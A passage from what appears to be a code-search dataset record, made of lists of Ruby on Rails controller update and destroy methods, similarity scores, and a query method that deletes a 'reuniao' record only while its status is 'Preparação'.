"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @remito = Remito.find(params[:id])\n\n respond_to do |format|\n if @remito.update_attributes(params[:remito])\n format.html { redirect_to @remito, notice: 'Remito was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @remito.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @oeuvre.update(oeuvre_params)\n format.html { redirect_to oeuvres_url, notice: 'Oeuvre was successfully updated.' }\n format.json { render :show, status: :ok, location: @oeuvre }\n else\n format.html { render :edit }\n format.json { render json: @oeuvre.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ruolo.update(ruolo_params)\n format.html { redirect_to @ruolo, notice: 'Ruolo was successfully updated.' }\n format.json { render :show, status: :ok, location: @ruolo }\n else\n format.html { render :edit }\n format.json { render json: @ruolo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tapioca.update(tapioca_params)\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prueba_json.update(prueba_json_params)\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end",
"def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end",
"def update\n respond_to do |format|\n if @rotina.update(rotina_params)\n format.html { redirect_to rotinas_path, notice: 'Rotina atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rotina.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n log(\"Se ha editado la nomina #{@lt}\", 1)\n format.html { redirect_to tipos_path, notice: 'Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ocorrencia.update(ocorrencia_params)\n format.html { redirect_to @ocorrencia, notice: 'Ocorrencia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ocorrencia.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @restora.update(restora_params)\n format.html { redirect_to @restora, notice: 'Restora was successfully updated.' }\n format.json { render :show, status: :ok, location: @restora }\n else\n format.html { render :edit }\n format.json { render json: @restora.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n puts \"update\"\n\tputs params\n\tputs \"controllo target\"\n\tputs params[:opera][:target]\n\tnew_opera_params = opera_params\n\tnew_opera_params.delete(\"target\")\n\tif params[:opera][:target] != nil \n\t if params[:opera][:target].length > 3\n\t puts \"modifico\"\n\t target_id = params[:opera][:target].split('-')[0].to_s\n\t target_type = params[:opera][:target].split('-')[1].to_s\n\t \n\t new_opera_params.merge({\"target_id\" => target_id})\n\t\tnew_opera_params.merge({\"target_type\" => target_type})\n\t\t\n\t\tputs new_opera_params\n\t end\n\tend\n\tputs new_opera_params\n respond_to do |format|\n if @opera.update(new_opera_params)\n format.html { redirect_to @opera, notice: 'Opera was successfully updated.' }\n format.json { render :show, status: :ok, location: @opera }\n else\n format.html { render :edit }\n format.json { render json: @opera.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @obra.update(obra_params)\n format.html { redirect_to @obra, notice: 'Obra was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @repuesto.update(repuesto_params)\n format.html { redirect_to @repuesto, notice: 'Repuesto was successfully updated.' }\n format.json { render :show, status: :ok, location: @repuesto }\n else\n format.html { render :edit }\n format.json { render json: @repuesto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @relogio = Relogio.find(params[:id])\n\n respond_to do |format|\n if @relogio.update_attributes(params[:relogio])\n format.html { redirect_to @relogio, notice: 'Relogio was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @relogio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @repa = Repa.find(params[:id])\n\n respond_to do |format|\n if @repa.update_attributes(params[:repa])\n format.html { redirect_to @repa, notice: 'Repa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @repa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n respond_to do |format|\n if @objeto.update(objeto_params)\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(objeto_params)\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @resa.update(resa_params)\n format.html { redirect_to edit_resa_path(@resa), notice: 'Resa was successfully updated.' }\n format.json { render json: @resa, status: :accepted }\n\n else\n format.html { render action: 'edit' }\n format.json { render json: @resa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @apoio.update(apoio_params)\n format.html { redirect_to @apoio, notice: 'Apoio was successfully updated.' }\n format.json { render :show, status: :ok, location: @apoio }\n else\n format.html { render :edit }\n format.json { render json: @apoio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update(data = :object || :json)\n end",
"def update\n #Finding the specific chore where the id matches the one we pass in with the body\n @v1_chore = Chore.where(id: params[:id]).first\n #Here we're checking if we have user_id in our body, and if we do, we'll change the selected chore's properties\n #with the parameters of the body, we go through the specific group to our specific chore with the path\n if v1_chore_params[:user_id]\n @v1_chore.user_id = params[:user_id]\n @v1_chore.assigned = true\n if @v1_chore.save\n render :show, status: :ok\n end\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @receipe = Receipe.find(params[:id])\n\n respond_to do |format|\n if @receipe.update_attributes(params[:receipe])\n format.html { redirect_to @receipe, notice: 'Receipe was successfully updated.' }\n format.json { head :no_content }\n else\n @receipe.fix_highest_aroma_percentage!\n format.html do\n @selectable_aromas = Aroma.all\n render action: \"edit\"\n end\n format.json { render json: @receipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @obra = Obra.find(params[:id])\n\n respond_to do |format|\n if @obra.update_attributes(params[:obra])\n format.html { redirect_to @obra, notice: 'Obra was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @soiree = Soiree.find(params[:id])\n\n respond_to do |format|\n if @soiree.update_attributes(params[:soiree])\n format.html { redirect_to @soiree, notice: 'Soiree was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @soiree.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(requisito_params)\n format.html { redirect_to @objeto, notice: \"Requisito was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @remocao = Remocao.find(params[:id])\n respond_to do |format|\n if @remocao.update_attributes(params[:remocao])\n flash[:notice] = 'Remocao efetuada com sucesso.'\n format.html { redirect_to(@remocao) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @remocao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n if @recurso.update_attributes(params[:recurso])\n format.html { redirect_to @recurso, notice: 'O recurso de auto de infração foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recurso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @unova.update(unova_params)\n format.html { redirect_to @unova, notice: 'Unova was successfully updated.' }\n format.json { render :show, status: :ok, location: @unova }\n else\n format.html { render :edit }\n format.json { render json: @unova.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @documentotipo = Documentotipo.find(params[:id])\n\n respond_to do |format|\n if @documentotipo.update_attributes(params[:documentotipo])\n format.html { redirect_to @documentotipo, notice: 'Documentotipo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @documentotipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @eou = Eou.find(params[:id])\n\n respond_to do |format|\n if @eou.update_attributes(params[:eou])\n format.html { redirect_to @eou, :notice => 'Eou was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @eou.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @fluxomatricula = Fluxomatricula.find(params[:id])\n\n respond_to do |format|\n if @fluxomatricula.update_attributes(params[:fluxomatricula])\n format.html { redirect_to @fluxomatricula, notice: 'Fluxomatricula was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fluxomatricula.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @opcao.update(opcao_params)\n format.html { redirect_to @opcao, notice: 'Opcao atualizada com sucesso!' }\n format.json { render :show, status: :ok, location: @opcao }\n else\n format.html { render :edit }\n format.json { render json: @opcao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @cargo_eleicao = CargoEleicao.find(params[:id])\n\n respond_to do |format|\n if @cargo_eleicao.update_attributes(params[:cargo_eleicao])\n format.html { redirect_to @cargo_eleicao, notice: 'Cargo eleicao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cargo_eleicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(carpeta_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Carpeta was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(cliente_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @administracao_rota.update(administracao_rota_params)\n format.html { redirect_to @administracao_rota, notice: 'Rota foi atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @administracao_rota }\n else\n format.html { render :edit }\n format.json { render json: @administracao_rota.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(request)\n end",
"def update(request)\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update\n respond_to do |format|\n if @objeto.update(imagen_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Imagen was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @relatorio.update(relatorio_params)\n format.html { redirect_to @relatorio, notice: 'Relatorio was successfully updated.' }\n format.json { render :show, status: :ok, location: @relatorio }\n else\n format.html { render :edit }\n format.json { render json: @relatorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @repuesto_servicio.update(repuesto_servicio_params)\n format.html { redirect_to @repuesto_servicio, notice: 'Repuesto o servicio fue actualizado con éxito.' }\n format.json { render :show, status: :ok, location: @repuesto_servicio }\n else\n format.html { render :edit }\n format.json { render json: @repuesto_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @noto = Noto.find(params[:id])\n\n respond_to do |format|\n if @noto.update_attributes(params[:noto])\n format.html { redirect_to @noto, :notice => 'Noto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @noto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n if @respuesta.update_attributes(params[:respuesta])\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update\n @respuesta = Respuesta.find(params[:id])\n\n if @respuesta.update(params[:respuesta])\n head :no_content\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @reparticao.update(reparticao_params)\n format.html { redirect_to @reparticao, notice: 'Reparticao was successfully updated.' }\n format.json { render :show, status: :ok, location: @reparticao }\n else\n format.html { render :edit }\n format.json { render json: @reparticao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @u = U.find(params[:id])\n\n respond_to do |format|\n if @u.update_attributes(params[:u])\n format.html { render action: \"edit\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @u.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @sivic_celula.update(sivic_celula_params)\r\n format.html { redirect_to @sivic_celula, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_celula.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to(@premio, :notice => 'Premio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n \n @lancamentorapido = Lancamentorapido.find(params[:id]) \n \n #Validações padrão\n @lancamentorapido.tipo = :receita if @lancamentorapido.tipo.blank?\n @lancamentorapido.valor = 0 if @lancamentorapido.valor.blank? \n \n\n respond_to do |format|\n if @lancamentorapido.update_attributes(params[:lancamentorapido])\n format.html { redirect_to lancamentorapidos_path, notice: 'Lancamento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lancamentorapido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_negocio = TipoNegocio.find(params[:id])\n\n respond_to do |format|\n if @tipo_negocio.update_attributes(params[:tipo_negocio])\n format.html { redirect_to @tipo_negocio, notice: 'Tipo negocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_negocio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @opo.update(opo_params)\n format.html { redirect_to @opo, notice: 'Opo was successfully updated.' }\n format.json { render :show, status: :ok, location: @opo }\n else\n format.html { render :edit }\n format.json { render json: @opo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n put :update\n end",
"def update\n respond_to do |format|\n if @poligono.update(poligono_params)\n format.html { redirect_to @poligono, notice: 'Poligono was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @poligono.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n\n respond_to do |format|\n if @status.update_attributes(params[:roof_status])\n format.html { redirect_to @roof, notice: 'Status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @frais_repa = FraisRepa.find(params[:id])\n\n respond_to do |format|\n if @frais_repa.update_attributes(params[:frais_repa])\n format.html { redirect_to @frais_repa, :notice => 'Le frais de repas a bien été modifé' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @frais_repa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @usuario = Usuario.find_by_id(params[:id])\n if @usuario.nil?\n render :json => {:error => \"Usuario no encontrado\"}.to_json, :status => 404\n\n #render :json => {:error => \"id no es modificable\"}.to_json, :status => 400\n else\n if usuario_params.count==1\n respond_to do |format|\n # format.json { render json: usuario_params.count}\n if @usuario.update(usuario_params)\n #format.json { render json: @usuario}\n\n #format.html { redirect_to @usuario, notice: 'Usuario was successfully updated.' }\n #el segundo\n format.json { render :show, status: :ok, location: @usuario }\n end\n end\n elsif usuario_params.count==0\n # JSON.parse(usuario_params)\n respond_to do |format|\n format.json { render :json => {:error => \"id no es modificable\"}.to_json, :status => 400 }\n end\n else\n respond_to do |format|\n format.json { render :json => {:error => \"La modificación ha fallado\"}.to_json, :status => 500 }\n end\n end\n end\n end",
"def update\n client=Client.find_by_id params[:id]\n if client!= nil\n client.cedula=params[:cedula] ? params[:cedula]: client.cedula\n client.sector=params[:sector] ? params[:sector]: client.sector\n client.nombre=params[:nombre] ? params[:nombre]: client.nombre\n client.telefono=params[:telefono] ? params[:telefono]: client.telefono\n client.pagina=params[:pagina] ? params[:pagina]: client.pagina\n client.direccion=params[:direccion] ? params[:direccion]: client.direccion\n if client.save\n render(json: client, status: 201)\n end \n else\n render(json: client.errors, status: 404)\n end \n end",
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update\n @reconocimiento = Reconocimiento.find(params[:id])\n\n respond_to do |format|\n if @reconocimiento.update_attributes(params[:reconocimiento])\n format.html { redirect_to @reconocimiento, :notice => 'Reconocimiento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @reconocimiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @nitrou.update(nitrou_params)\n format.html { redirect_to @nitrou, notice: 'Nitrou was successfully updated.' }\n format.json { render :show, status: :ok, location: @nitrou }\n else\n format.html { render :edit }\n format.json { render json: @nitrou.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @obra.update(obra_params)\n format.html { redirect_to @obra, notice: 'A obra foi atualizada com sucesso!' }\n format.json { render :show, status: :ok, location: @obra }\n else\n format.html { render :edit }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end"
] | [
"0.64688647",
"0.64192533",
"0.64176005",
"0.62967926",
"0.62967926",
"0.6294707",
"0.62231827",
"0.6209157",
"0.62061113",
"0.61960936",
"0.6177071",
"0.616208",
"0.616208",
"0.61334085",
"0.61327076",
"0.6122387",
"0.61189955",
"0.6118504",
"0.60809875",
"0.6080924",
"0.6060948",
"0.6057986",
"0.6057587",
"0.60339856",
"0.60317206",
"0.6024346",
"0.6023681",
"0.6014257",
"0.6008679",
"0.6008323",
"0.6006146",
"0.6006088",
"0.60035723",
"0.6001133",
"0.59954095",
"0.5989644",
"0.5968042",
"0.5967702",
"0.59670573",
"0.59650844",
"0.5961816",
"0.59615636",
"0.5959312",
"0.59513783",
"0.5950246",
"0.5947242",
"0.5947242",
"0.5947176",
"0.59448135",
"0.5934045",
"0.5928363",
"0.5927282",
"0.5922898",
"0.59228647",
"0.5903445",
"0.5902108",
"0.5901615",
"0.58953905",
"0.58848083",
"0.5880825",
"0.58740556",
"0.5868122",
"0.5867306",
"0.5862006",
"0.5851685",
"0.5842931",
"0.58426523",
"0.58389187",
"0.5837921",
"0.58353794",
"0.5833865",
"0.58330154",
"0.58330154",
"0.58316827",
"0.5828837",
"0.58258086",
"0.58231664",
"0.5821224",
"0.58210564",
"0.5816783",
"0.5814484",
"0.5814315",
"0.5811148",
"0.58088726",
"0.5805868",
"0.5797716",
"0.57960033",
"0.5787054",
"0.5785604",
"0.5783248",
"0.5781833",
"0.5781647",
"0.5779318",
"0.57778805",
"0.5771554",
"0.57684356",
"0.576589",
"0.57617533",
"0.5760063",
"0.57599306",
"0.5758058"
] | 0.0 | -1 |
DELETE /reuniaos/1 DELETE /reuniaos/1.json | def destroy
if @reuniao.status=="Preparação"
@reuniao.destroy
respond_to do |format|
format.html { redirect_to reuniaos_url, notice: 'Reuniao was successfully destroyed.' }
format.json { head :no_content }
end
else
redirect_to @reuniao , notice: 'Desculpe mas,reuniao já foi confirmada você não pode remove-la.'
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @remito = Remito.find(params[:id])\n @remito.destroy\n\n respond_to do |format|\n format.html { redirect_to remitos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @odontologia1 = Odontologia1.find(params[:id])\n @odontologia1.destroy\n\n respond_to do |format|\n format.html { redirect_to odontologia1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ocorrencia.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencias_url }\n format.json { head :no_content }\n end\n end",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end",
"def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resto.destroy\n respond_to do |format|\n format.html { redirect_to restos_url, notice: 'Entry was deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reconocimiento = Reconocimiento.find(params[:id])\n @reconocimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to reconocimientos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @repuestum = Repuestum.find(params[:id])\n @repuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to repuesta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nodo.destroy\n respond_to do |format|\n format.html { redirect_to nodos_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @obra.destroy\n respond_to do |format|\n format.html { redirect_to obras_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipoapreensao.destroy\n respond_to do |format|\n format.html { redirect_to tipoapreensoes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n \n @lancamentorapido = Lancamentorapido.find(params[:id])\n @lancamentorapido.destroy \n\n respond_to do |format|\n format.html { redirect_to lancamentorapidos_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @unova.destroy\n respond_to do |format|\n format.html { redirect_to unovas_url, notice: 'Unova was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resa.destroy\n respond_to do |format|\n format.html { redirect_to resas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aucrecord.destroy\n respond_to do |format|\n format.html { redirect_to aucrecords_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cargo_eleicao = CargoEleicao.find(params[:id])\n @cargo_eleicao.destroy\n\n respond_to do |format|\n format.html { redirect_to cargo_eleicaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @regraponto.destroy\n respond_to do |format|\n format.html { redirect_to regrapontos_url, notice: 'Regraponto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @recinto = Recinto.find(params[:id])\n @recinto.destroy\n\n respond_to do |format|\n format.html { redirect_to recintos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aluno.destroy\n respond_to do |format|\n format.html { redirect_to alunos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ativo_outro = AtivoOutro.find(params[:id])\n @ativo_outro.destroy\n\n respond_to do |format|\n format.html { redirect_to ativo_outros_url }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @ocorrencium.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencia_url, notice: 'Registro excluído com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n seleccionarMenu(:rondas)\n @ronda = Ronda.find(params[:id])\n @ronda.destroy\n\n respond_to do |format|\n format.html { redirect_to rondas_url }\n format.json { head :no_content }\n end\n end",
